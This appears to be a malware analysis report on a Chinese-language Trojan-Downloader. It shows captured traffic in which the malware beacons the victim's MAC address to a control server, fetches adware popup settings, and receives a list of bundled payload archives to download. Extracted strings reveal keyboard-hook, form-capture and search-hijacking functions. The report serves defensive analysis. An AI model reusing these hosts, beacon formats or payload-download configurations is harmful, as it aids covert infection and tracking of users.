GET /stat/?ac=stat&name=%original file name%.exe&mac=00-0C-29-3B-DF-2F&md5=cd1bf5c8668f31abd345f75407391ed8 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: stat.fjmjm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sat, 24 May 2014 04:45:47 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 0

Content-Type: text/html

Set-Cookie: ASPSESSIONIDAQRTSTST=EOJENNHDIJCJEAMBBNDDGCGM; path=/

Cache-control: private

GET /web/PopWinParam.asp?d=2014419&mainver=1.0.0&popver=1.0.0&xmlver=20131020010000 HTTP/1.1

User-Agent: hello crazyk

Host: stat.fjmjm.com

HTTP/1.1 200 OK

Date: Sat, 24 May 2014 04:45:55 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 4659

Content-Type: text/html

Set-Cookie: ASPSESSIONIDAQRTSTST=EPJENNHDMNNMPGBNECGBPKIL; path=/

Cache-control: private
..<?xml version="1.0" encoding="gb2312"?>..<SoftwareConfig>
;..  <Version>20140524124555</Version>..  <Popwin>..
.    <Item id="1">..      <Subject>........</Subject>
;..      <WinWidth>708</WinWidth>..      <WinHeight>
404</WinHeight>..      <StartUpPosition>0</StartUpPosit
ion>..      <URL>hXXp://VVV.mdtxw.org/miniindex/</URL> 
..      <StartUpTime>10</StartUpTime>..      <ShowIntev
al>7200</ShowInteval>..      <AutoClose>600</AutoClo
se>..      <isShow>1</isShow>..    </Item>..    &
lt;Item id="2">..      <Subject>........</Subject>..   
  <WinWidth>300</WinWidth>..      <WinHeight>265<
/WinHeight>..      <StartUpPosition>1</StartUpPosition>
..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140524124555&
lt;/URL> ..      <StartUpTime>50</StartUpTime>..      &
lt;ShowInteval>0</ShowInteval>..      <AutoClose>50<
/AutoClose>..      <isShow>1</isShow>..    </Item>
;..    <Item id="3">..      <Subject>....LB</Subject>
;..      <WinWidth>300</WinWidth>..      <WinHeight>
265</WinHeight>..      <StartUpPosition>1</StartUpPosit
ion>..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140524
124555</URL>..      <StartUpTime>200</StartUpTime>..
      <ShowInteval>7200</ShowInteval>..      <AutoC
<<< skipped >>>

GET /?22014 HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; TheWorld)

Host: 123.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Sat, 24 May 2014 04:45:51 GMT

Content-Type: text/html; charset=gbk

Transfer-Encoding: chunked

Connection: keep-alive

P3P: CP="NON DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa HISa TELa OTPa OUR UNRa IND UNI COM NAV INT DEM CNT PRELOC"

Content-Encoding: gzip
9105................\.u7...{b!..=.....5...6.E........7.2....12N... .!.
.$....h..q..M.;!N..yc..?...Zn...G.......uOU.:.......;...O|..C....J<
...G.>.H.ff..?03s....o<....$..L.....4..n.i....r2.l..........z>
;...g....q........x3].V. .R....TW..6.-w...3..}r...s........}~.W..`...[
........$.....zw..t....W.l.C.S..R..Qsm9.....R....3l.[n2Q.v.ng..|......
......%.3 ......'6z..C..p...Ti8..;\..W1.............W.F............\..
f...~..M.....^.q...7.....[...];w....~..'.....'.~...1Z.|.._... .4}.....
/....K.}...............Q....*.f......W5....x..?....S.|...N...}.......i
t'.s...S'.s..U....?8}.;/\>..S......x.?O...........}t......{?=..;.|.
.O...?{...z..Ih8.......^y..?_...>..og_..#..._.|...<.V.......d...
L4.nm99.l;uw0Ss...4./.hW.R..!V.P....)....@K..=..}.Ys.....9..`8\.J.....
..8....']w.O4.......T....ba9....xu....RG........bw..u.L...e.V..&.J.C.?
..tf.C.ue.2...<X*.D.....G.L:..wR.f'}t........\....N..<...js-].5.
ni.......,..j..z.r..Z.W.vb.C0..?N....z.....j..$?w..T..?I....F...)..|%W
.....3=jM........t....Fn....M...Z...nvz....m...t..e.......ju.mo..~..Y.
../..j.....m'..[e......v.mg..mu..S...-....n...Bv;....Ui.N....6.G.D...j
..)...Y....p......\.e_6A3..}.....zc....nu.I7..E..Q.W<..].....b.....
s..-... .......P...u..0..Mh.*;..z.._..j...=5...Q...,...]..,....5wi3..r
./.-. .S........4HL|}...V...V.o.7...b6......[@{k......2...a.....O...f5
1U...RO..)..hh.f.....z....T.j>.).?e..#..3.v!4h........K.;. 6y2..`U.
?[......09(.M...A..Qo.Zo...C.#.......[....~/..O ...Z>73Xmv.i.{`O..M
........S.>.[....r6...neU""_4.M8..H?x..&A.O....4......3...h..a.
<<< skipped >>>

GET /miniindex/ HTTP/1.1

User-Agent: hello crazyk

Host: VVV.mdtxw.org

HTTP/1.1 200 OK

Content-Length: 10093

Content-Type: text/html

Content-Location: hXXp://VVV.mdtxw.org/miniindex/index.html

Last-Modified: Thu, 22 May 2014 11:22:12 GMT

Accept-Ranges: bytes

ETag: "684ac813b075cf1:3b8"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:46:07 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml">...<head>....<meta http
-equiv="Content-Type" content="text/html; charset=gb2312">....<m
eta http-equiv="Cache-Control" content="no-cache">....<meta name
="robots" content="noindex, nofollow,nosnippet,noarchive,noodp">...
.<title>..........</title>....<link href="inc/stylemini
.css" rel="stylesheet" type="text/css">....<script src="inc/jque
ry-1.7.2.min.js" type="text/javascript"></script>....<base
 target="_blank">..<script type="text/javascript"> ..<!-- 
..//..........//document.oncontextmenu=function(e){return false;}..//.
...........var cusi=0;..var tiaozuan=1;..var timer;..//..............v
ar bq_array = new Array();..//........,....id,........url,............
(1....,..............class) ......url ......bq_array.push(["....","0",
"","0","","0"]);..bq_array.push(["....","105","hXXp://VVV.jgtj.com.cn/
ll","0","xinwen.htm","0"]);..bq_array.push(["....","101","hXXp://VVV.j
gtj.com.cn/ll","0","nvxing_509_366.htm","0"]);..bq_array.push(["....",
"102","hXXp://VVV.jgtj.com.cn/ll","0","lieqi_509_366.htm","0"]);..bq_a
rray.push(["....","100","hXXp://VVV.jgtj.com.cn/ll","0","shehui_509_36
6.htm","0"]);..bq_array.push(["....","120","hXXp://VVV.jgtj.com.cn/ll"
,"0","jiankang_509_366.htm","0"]);..bq_array.push(["....","130","http:
//VVV.jgtj.com.cn/ll","0","meinv.htm","0"]);..bq_array.push(["....
<<< skipped >>>

GET /miniindex/ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 10093

Content-Type: text/html

Content-Location: hXXp://VVV.mdtxw.org/miniindex/index.html

Last-Modified: Thu, 22 May 2014 11:22:12 GMT

Accept-Ranges: bytes

ETag: "684ac813b075cf1:3b8"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:46:08 GMT
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "htt
p://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xm
lns="hXXp://VVV.w3.org/1999/xhtml">...<head>....<meta http
-equiv="Content-Type" content="text/html; charset=gb2312">....<m
eta http-equiv="Cache-Control" content="no-cache">....<meta name
="robots" content="noindex, nofollow,nosnippet,noarchive,noodp">...
.<title>..........</title>....<link href="inc/stylemini
.css" rel="stylesheet" type="text/css">....<script src="inc/jque
ry-1.7.2.min.js" type="text/javascript"></script>....<base
 target="_blank">..<script type="text/javascript"> ..<!-- 
..//..........//document.oncontextmenu=function(e){return false;}..//.
...........var cusi=0;..var tiaozuan=1;..var timer;..//..............v
ar bq_array = new Array();..//........,....id,........url,............
(1....,..............class) ......url ......bq_array.push(["....","0",
"","0","","0"]);..bq_array.push(["....","105","hXXp://VVV.jgtj.com.cn/
ll","0","xinwen.htm","0"]);..bq_array.push(["....","101","hXXp://VVV.j
gtj.com.cn/ll","0","nvxing_509_366.htm","0"]);..bq_array.push(["....",
"102","hXXp://VVV.jgtj.com.cn/ll","0","lieqi_509_366.htm","0"]);..bq_a
rray.push(["....","100","hXXp://VVV.jgtj.com.cn/ll","0","shehui_509_36
6.htm","0"]);..bq_array.push(["....","120","hXXp://VVV.jgtj.com.cn/ll"
,"0","jiankang_509_366.htm","0"]);..bq_array.push(["....","130","http:
//VVV.jgtj.com.cn/ll","0","meinv.htm","0"]);..bq_array.push(["....
<<< skipped >>>

GET /miniindex/tj.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 279

Content-Type: application/x-javascript

Last-Modified: Thu, 10 Apr 2014 18:44:12 GMT

Accept-Ranges: bytes

ETag: "0665eddec54cf1:3b8"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:46:08 GMT
var cnzz_protocol = (("https:" == document.location.protocol) ? " http
s://" : " hXXp://");document.write(unescape(""));.
.

GET /stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-3B-DF-2F&md5=cd1bf5c8668f31abd345f75407391ed8 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Host: stat.fjmjm.com

Cache-Control: no-cache

Cookie: ASPSESSIONIDAQRTSTST=KNJENNHDONBIEPLGNFNANOJL

HTTP/1.1 200 OK

Date: Sat, 24 May 2014 04:45:38 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 4514

Content-Type: text/html

Cache-control: private
..[ShortCut_1]..Desc=360............Hint=360............Name=360......
......URL=hXXp://VVV.jlbnh.com..Icon=ico\360.ico..[ShortCut_2]..Desc=I
nternet Explorer..Hint=Internet Explorer..Name=Internet Explorer..URL=
hXXp://VVV.jlbnh.com..Icon=ico\ie.ico..[SoftWare_1]..Desc=..........Hi
nt=..........Name=F30241_s_0523..URL=hXXp://down.jsrjrc.org:99/F30241_
s_0523.rar..reg=HKLM\SOFTWARE\Baidu\BaiduSd\InstallDir..[SoftWare_2]..
Desc=..........Hint=..........Name=cgqhlv_70690..URL=hXXp://down.jsrjr
c.org:99/cgqhlv_70690.rar..reg=HKLM\SOFTWARE\Baidu\BaiduAn\InstallDir.
.[SoftWare_3]..Desc=..........Hint=..........Name=KXWebBox_3409_RBF..U
RL=hXXp://down.jsrjrc.org:99/KXWebBox_3409_RBF.rar..reg=HKLM\SOFTWARE\
Microsoft\Windows\CurrentVersion\App Paths\XXGameBox.exe\..[SoftWare_4
]..Desc=..........Hint=..........Name=pczh_98_2..URL=hXXp://down.jsrjr
c.org:99/pczh_98_2.rar..reg=HKLM\SOFTWARE\Microsoft\Windows\CurrentVer
sion\App Paths\Ainqngz3.9.exe\..[SoftWare_5]..Desc=......Hint=......Na
me=kuping_b_54282..URL=hXXp://down.jsrjrc.org:99/kuping_b_54282.rar..r
eg=HKCU\Software\Kuping\InstallPath..[SoftWare_6]..Desc=..............
Hint=..............Name=qiqibox_1016..URL=hXXp://down.jsrjrc.org:99/qi
qibox_1016.rar..reg=HKLM\SOFTWARE\qiqibox\InstallPath..[SoftWare_7]..D
esc=........Hint=........Name=-8853_1_mvy..URL=hXXp://down.jsrjrc.org:
99/-8853_1_mvy.rar..reg=HKLM\SOFTWARE\Mnying\Mnyingfiledir..[SoftWare_
8]..Desc=...... ..Hint=........Name=yxku_s[106]..URL=hXXp://down.jsrjr
c.org:99/yxku_s[106].rar..reg=HKCU\Software\yxkuBox\InstallPath..[
<<< skipped >>>

GET /web/welcome_cn.htm?ver=2.4.1.9&guid=a24a7d04104ebf0095dce7c62dcb34c065ffccc6f6834a08ba51a487958340021400889203&lastver= HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; TheWorld)

Host: VVV.fjmjm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 1469

Content-Type: text/html

Last-Modified: Thu, 17 Apr 2014 15:55:27 GMT

Accept-Ranges: bytes

ETag: "80414a73555acf1:3b8"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:45:51 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">.
.<html>..<head>..<meta http-equiv="Content-Type" conten
t="text/html; charset=gb2312">..<title>................</t
itle>..<link href="newioage.css" rel="stylesheet" type="text/css
">..</head>..<body>..<p> </p>..<tab
le width="712" height="49" border="0" align="center" cellpadding="0" c
ellspacing="0">..  <tr>..    <td background="images/guide_
top.jpg"><table width="550" align="center">..        <tr&g
t;..          <td class="t14"><font color="#C8E2FF"><st
rong>................</strong></font></td>..     
   </tr>..      </table></td>..  </tr>..</t
able>..<table width="712" height="350" align="center" background
="images/texture.gif" bgcolor="#FFFFFF">..  <tr>..    <td 
valign="top">..<table width="500" align="center">..        &l
t;tr>..          <td><p class="t14"> </p>.. 
           <p class="t14"><font color="#D38C45" size="4">&
lt;strong>..............................</strong></font>
;</p>..            <p class="t14">........................
..................................................................<
/p>..            <p class="t14"> </p>..           
 </td>..        </tr>..      </table>..      <tab
le width="500" align="center">..        <tr> ..          
<<< skipped >>>

GET /web/newioage.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.fjmjm.com/web/welcome_cn.htm?ver=2.4.1.9&guid=a24a7d04104ebf0095dce7c62dcb34c065ffccc6f6834a08ba51a487958340021400889203&lastver=

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; TheWorld)

Host: VVV.fjmjm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 715

Content-Type: text/css

Last-Modified: Thu, 17 Apr 2014 15:40:05 GMT

Accept-Ranges: bytes

ETag: "8038bc4d535acf1:3c0"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:45:53 GMT
body {background-color: #dddddd;margin-left: 0px;margin-top: 0px;margi
n-right: 0px;margin-bottom: 0px;}.td {font-size: 14px;line-height: 150
%;color: #666666;}..t12 {font-size: 12px;line-height: 150%;color: #666
666;}..A:link {font-size:12px;text-decoration:none;color: #1F72D0}.A:v
isited {font-size:12px;text-decoration:none;color: #1F72D0}.A:active {
font-size:12px;text-decoration: none;color: #033B7D}.A:hover {font-siz
e:12px;text-decoration:none;color: #FF5A00}..A.white:link {font-size:1
2px;text-decoration:none;color: #cfebff}.A.white:visited {font-size:12
px;text-decoration:none;color: #cfebff}.A.white:active {font-size:12px
;text-decoration: none;color: #ffffff}.A.white:hover {font-size:12px;c
olor: #feffcf}...

The Trojan-Downloader connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

http://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx2.tmp\bind.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx2.tmp\bind.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx2.tmp

<^.Wa

*.EZ_

_.mJa

nsx2.tmp

0, 0, 0)

S~1\Temp\nsx2.tmp

%original file name%.exe

c:\%original file name%.exe

%Program Files%\shandian"

%Program Files%\shandian

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nss1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.45

%Documents and Settings%\%current user%\Start Menu\Programs\

%original file name%.exe_2196_rwx_10004000_00001000:

callback%d

.text

`.rdata

@.data

.rsrc

SSSSh

RSSSSh

QSSSSh

SRjdPSSSSh

QSSSShD

PSSSSh

QSSSShC

SSShT

;;~%U

F\t SSh

FHSSh

VHSSh

F<%u?

t.SVP

unzip 1.01 Copyright 1998-2004 Gilles Vollant - http://www.winimage.com/zLibDll

<4,$?7/'

(3-!0,1'8"5.*2$

inflate 1.2.3 Copyright 1995-2005 Mark Adler

WINMM.dll

WS2_32.dll

IMM32.dll

VERSION.dll

GetWindowsDirectoryW

GetProcessHeap

KERNEL32.dll

GetKeyState

GetAsyncKeyState

EnumThreadWindows

EnumWindows

keybd_event

MapVirtualKeyW

EnumChildWindows

UnhookWindowsHookEx

SetWindowsHookExW

GetKeyboardLayoutNameW

LoadKeyboardLayoutW

GetKeyNameTextW

RegisterHotKey

UnregisterHotKey

USER32.dll

GDI32.dll

comdlg32.dll

RegCloseKey

RegOpenKeyW

RegCreateKeyW

RegDeleteKeyW

RegOpenKeyExW

RegGetKeySecurity

RegEnumKeyW

RegQueryInfoKeyW

RegSetKeySecurity

RegCreateKeyExW

ADVAPI32.dll

ShellExecuteExW

ShellExecuteW

SHFileOperationW

SHELL32.dll

ole32.dll

OLEAUT32.dll

CreateUrlCacheEntryW

CommitUrlCacheEntryW

GetUrlCacheEntryInfoW

InternetCrackUrlW

DeleteUrlCacheEntryW

HttpOpenRequestA

CommitUrlCacheEntryA

HttpAddRequestHeadersA

DeleteUrlCacheEntryA

FindCloseUrlCache

FindNextUrlCacheEntryA

UnlockUrlCacheEntryFileA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryW

UnlockUrlCacheEntryFileW

FindFirstUrlCacheEntryW

InternetCanonicalizeUrlW

FtpCommandW

FtpOpenFileW

HttpEndRequestW

HttpSendRequestExW

HttpOpenRequestW

FtpGetFileSize

HttpQueryInfoW

WININET.dll

DSOUND.dll

UrlCombineW

UrlIsOpaqueW

PathIsURLW

UrlGetPartW

SHDeleteKeyW

UrlCanonicalizeW

SHEnumKeyExW

UrlIsW

SHQueryInfoKeyW

SHLWAPI.dll

MSVCRT.dll

_acmdln

CoInternetCombineUrl

CoGetClassObjectFromURL

urlmon.dll

NETAPI32.dll

gdiplus.dll

WINTRUST.dll

COMCTL32.dll

URL=%s

_twpass

Content-Disposition: form-data; name="%s"

Content-Disposition: form-data; name="%s"; filename="%s"

cmdline

@%s#%s

%s%s; %s)

Referer: %s

msjava.dll

\msjava.dll

/uploaderapi2.swf

1.2.3

http://%s%s

HTTP/1.0

Mozilla/4.0

www1.baidu.com

www.baidu.com

baidu.com

.jpeg

\\.\PhysicalDrive%d

\\.\Scsi%d:

XXXXXX

ADD_DATE="%s"

LOVEFAV="%d"

LAST_MODIFIED="%s"

LAST_VISIT="%s"

%s=%s

%s=%s HTTPS=%s

0d

error %d with zipfile in unzCloseCurrentFile

error %d with zipfile in unzReadCurrentFile

extracting: %s

error opening %s

%s%s/

The file %s exists. Overwrite ? [y]es, [n]o, [A]ll:

error %d with zipfile in unzOpenCurrentFilePassword

creating directory: %s

error %d with zipfile in unzGetCurrentFileInfo

error %d with zipfile in unzGoToNextFile

error %d with zipfile in unzGetGlobalInfo

.html

.htm0

http:

NUL=%s

DIRNUL=%s

wininit.ini

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; TheWorld)

00000000000000000001

00000000000000000010

http= HTTPS=

var twFloatTimer%%s;

var twFloatEle%%s;

var twFloatEf%%s = "%ï";

function TWFloatFilterHide%%s( )

if( twFloatEf%%s == "0" )

twFloatEle%%s.removeNode( true );

if( twFloatEle%%s.filters.alpha.opacity > 30 )

twFloatEle%%s.filters.alpha.opacity-=30;

twFloatTimer%%s=window.setTimeout( "TWFloatFilterHide%%s()",100);

window.clearTimeout(twFloatTimer%%s);

twFloatEle%%s.filter="";

twFloatEle%%s.posWidth

twFloatEle%%s.posHeight

twFloatEle%%s.posLeft

twFloatEle%%s.posTop

twFloatEle%%s = document.getElementById( "%%id" );

if( twFloatEf%%s == "1" )

twFloatEle%%s.style.filter="Alpha(Opacity=100, FinishOpacity=0, Style=3)";

K0=http://*.google.c*/search?*q=*

S0=try{col=document.getElementsByName('q');external.SetSearchKey( %max_security_id,col[0].value );}catch (e) {}

K1=http://*.baidu.com/*?*=*

S1=try{col=document.getElementsByName('wd');var str;if( col.length )str= col[0].value;else{col=document.getElementsByName('word');if( col.length ){str

= col[0].value;}}if( str.length != 0 ){external.SetSearchKey( %max_security_id,col[0].value );}}

K2=http://search.live.com/*?q=*

S2=try{col=document.getElementsByName('q');external.SetSearchKey( %max_security_id,col[0].value );}catch (e) {}

SearchLeftPad=7

AdressLeftPad=8

****7@0**.32****

****23-**0@7****

<**19=?4****

****4?=91**<

(4**/8=?7 ***

*** 7?=8/**4(

****,**** ****

**** ****,****

44222222222

-.--.-..*)

$@/ 8"/ 

VS.iw1A<:7

this.isSel = false;

this.bg = this.create('div', '', {}, {'display': 'none', 'zoom': '1', 'filter': 'alpha(opacity=20)', 'backgroundColor': '#000000', 'position': 'absolute', 'zIndex': '998', 'textAlign': 'center', 'width': '100%', 'height': window.screen.availHeight   'px', 'left': '0px', 'top': parseInt(this.$dom.body.parentNode.scrollTop || 0, 10)   'px', 'margin': '0'});

this.pane = this.create('div', '', {'id': 'TW_Plugin_Vest_Pane'}, {'display': 'none', 'backgroundColor': '#FFFFFF', 'padding': '0', 'position': 'absolute', 'zIndex': '999', 'textAlign': 'left'});

this.$dom.body.appendChild(this.bg), this.$dom.body.appendChild(this.pane);

__$Effect.prototype = {

this.pane.innerHTML = '', this.pane.appendChild(b);

var el = this.$dom.createElement(tag);

for (var a in sty || {}) el.style[a] = sty[a];

txt && (el.innerHTML = txt), c && (el.onclick = c);

this.bg.style.display = 'none', this.pane.style.display = 'none', this.$dom.body.style.overflow = this.$dom.body.parentNode.style.overflow = '';

this.$dom.body.onselectstart = this.selEv || null;

setTimeout(function () {for(var i = 0; i < _tag('select').length; i   ) _tag('select')[i].style.visibility = 'visible';}, 1);

document.body.onkeypress = function () {

if(event.keyCode == 13)

URL_Openall();

document.body.scrollTop = 0;

return event.keyCode != 13;

fx && (this.fade(0, this.bg), this.fade(0), this.opacity = 0);

this.bg.style.display = '' , this.pane.style.display = '';

This.selEv = This.$dom.body.onselectstart, This.$dom.body.onselectstart = function() {return This.isSel;};

This.$dom.body.style.overflow = This.$dom.body.parentNode.style.overflow = 'hidden';

for(var i = 0; i < _tag('select').length; i   ) _tag('select')[i].style.visibility = 'hidden';

fx && (This.timer = window.setInterval(function () {

This.fade((This.opacity  = 10) / 100, This.bg);

if(This.opacity >= 20) {

clearInterval(This.timer);

This.fade(0.2, This.bg);

This.fade(0.99);

}, 100));

e = e || this.pane;

e.style.zoom = '1', e.style.filter = 'alpha(opacity='   parseInt(v >= 1 ? '99' : v * 100)   ')';

l && (this.pane.style.left = l   'px'), t && (this.pane.style.top = t   'px'), l == 0 && (this.pane.style.left = '0px'), t == 0 && (this.pane.style.top = '0px');

return (e || document).getElementsByTagName(t);

.white:link {font-size:12px;text-decoration:none;color: #eff8fb}

.white:visited {font-size:12px;text-decoration:none;color: #eff8fb}

.white:active {font-size:12px;text-decoration: none;color: #033B7D}

.white:hover {font-size:12px;text-decoration:none;color: #FF5A00}GIF89a6

A.cb:link {

A.cb:visited {

A.cb:active {

A.cb:hover {

.tlb {

.bb {

.bl {

background:url(callapse.gif) 90% 50% no-repeat;

background:url(callapse_hover.gif) 90% 50% no-repeat;

background:url(expand.gif) 90% 50% no-repeat;

background:url(expand_hover.gif) 90% 50% no-repeat;

var securityId = external.twGetSecurityID(window);

surl = "http://www.google.cn/search?client=aff-worldbrowser&channel=errorpage&forid=1&ie=utf-8&oe=UTF-8&hl=zh-CN&q="   encodeURI( searchtext.value );

window.open( surl );

surl = "http://www.baidu.com/baidu?word=" searchtext.value "&tn=ichuner_4_pg";

surl = "http://www.sogou.com/sogou?query=" searchtext.value "&pid=sogou-addr-6311b2f8bde6a1c3";

Function RequestQueryString( url, ArgName )

= trim(url)

If url = "" Or IsNull(url) Then

If IsObject(parent.location) Then

url = parent.location.href

url = location.href

url = location

nPos = InStr( LCase(url), LCase(ArgName) )

tmpArgVal = right( url, len(url)-nPos 1 )

If InStr( url, "?" ) > 0 Then

ArrTmp = split( url, "?" )

if err.number <> 0 then

err.clear

strUrl = RequestQueryString( url, "url" )

strDomain = RequestQueryString( url, "domain" )

strErrName = RequestQueryString( url, "code" )

document.getElementById("googleSE").value = _neSearchEngine.google;

document.getElementById("baiduSE").value = _neSearchEngine.baidu;

var news = document.getElementById('news');

var frame = document.getElementById("newsFrame");

frame.src = "http://www.fjmjm.com/web/frame_naverror.html";

news.style.display='block';

el.className='a_e';

external.SetOptionValue(securityId,"option","ep_related","1");

news.style.display='none';

el.className='a_c';

external.SetOptionValue(securityId,"option","ep_related","0");

if(document.getElementById("news").currentStyle.display == "block")

this.setDisplay(false,el);

this.setDisplay(true,el);

var defValue = external.GetOptionValue(securityId,"option","ep_related");

this.setDisplay(true,document.getElementById("displayCtrl"));

window.attachEvent("onload",function(){

DisplayMgr.init();

.in1{width: 220px;}

return window.external.twGetFormByIndex( window, "", nIndex );

formName = window.external.twGetFormDataInfo( window, "", formID, dataName );

window.external.twSetFormDataInfo( window, "", formID, "tw_formName", formName );

window.external.twUnInitFormData( window, "", 0 );

pObj = window.event.srcElement;

pObj.style.color=_tabhottextcolor;

pObj.style.color=_tabtextcolor;

oTr = pObj.parentElement.parentElement.parentElement;

oTb = oTr.parentElement.parentElement;

formID = oTr.getAttribute( "tw_formID" );

window.external.twDeleteFormData( window, "", formID );

TalComForm.deleteRow(oTr.rowIndex);

window.location.reload();

oTr = pObj.parentElement.parentElement;

TalUserForm.deleteRow(oTr.rowIndex);

if( moreInfo.style.display == "none" ){

moreInfo.style.display = "";

moreImg.src="more2.gif";

moreInfo.style.display = "none";

moreImg.src="more1.gif";

colInput = formdatatable.getElementsByTagName("input");

nCount = colInput.length;

if( colInput[i].type != "button" )

colInput[i].value = "";

oTr = _oLastSel.parentElement;

if(formID.indexOf("twcommon_")!=-1){

window.external.twFormSave( window, "", formID );

formName = tw_formName.value;

formName = userformName.innerText;

oTr.cells[1].innerText = formName;

oTr = pObj.parentElement;

comDiv.style.display = "";

userDiv.style.display = "none";

tw_formName.value = formName;

window.external.twFormLoad( window, "", formID );

comDiv.style.display = "none";

userDiv.style.display = "";

var oTr = oTb.insertRow( -1 );

var oTd = oTr.insertCell( 0 );

var oTd1 = oTr.insertCell( 1 );

oTr.height = "32px";

oTd.width = "24";

oTd.style.cursor="pointer";

oTd.onclick=OnDeleteItem;

oTd.innerHTML = "
";

oTd1.style.cursor="pointer";

oTd1.onmouseleave=OnLeaveItem;

oTd1.onmouseenter=OnEnterItem;

oTd1.onclick=OnSelectCommonItem;

oTd1.style.color=_tabtextcolor;

oTd1.noWrap = true;

oTd1.innerText=formName;

oTr.setAttribute( "tw_formID", formID );

window.external.twAddComFormData( window, "" );

var nCount = _vCommonData.length;

SelectCommonItem( TalComForm.rows[nCount-1].cells[1] );

if( _oLastSel.parentElement != null )

_oLastSel.parentElement.bgColor = _tabItemDefColor;

_oLastSel.style.fontWeight = "normal";

_oLastSel.style.color = _tabtextcolor;

pObj.parentElement.bgColor = _tabItemSelColor;

pObj.style.fontWeight = "bold";

pObj.style.color = _tabSeltextcolor;

nCount = oTab.rows.length;

oTab.deleteRow(0);

formName = tw_getFormDataInfo( _vCommonData[i].id, "tw_formName" );

OnAddForm(TalComForm, formName, _vCommonData[i].id );

var nCount = _vUserData.length;

var oTr = TalUserForm.insertRow( -1 );

oTd.onclick=OnDeleteUserFormItem;

oTd.innerHTML = "";

oTd1.innerHTML="";

formName = tw_getFormDataInfo( _vUserData[i].id, "tw_formName" );

oTd1.childNodes[0].innerText = formName;

formUrl = tw_getFormDataInfo( _vUserData[i].id, "tw_form_url" );

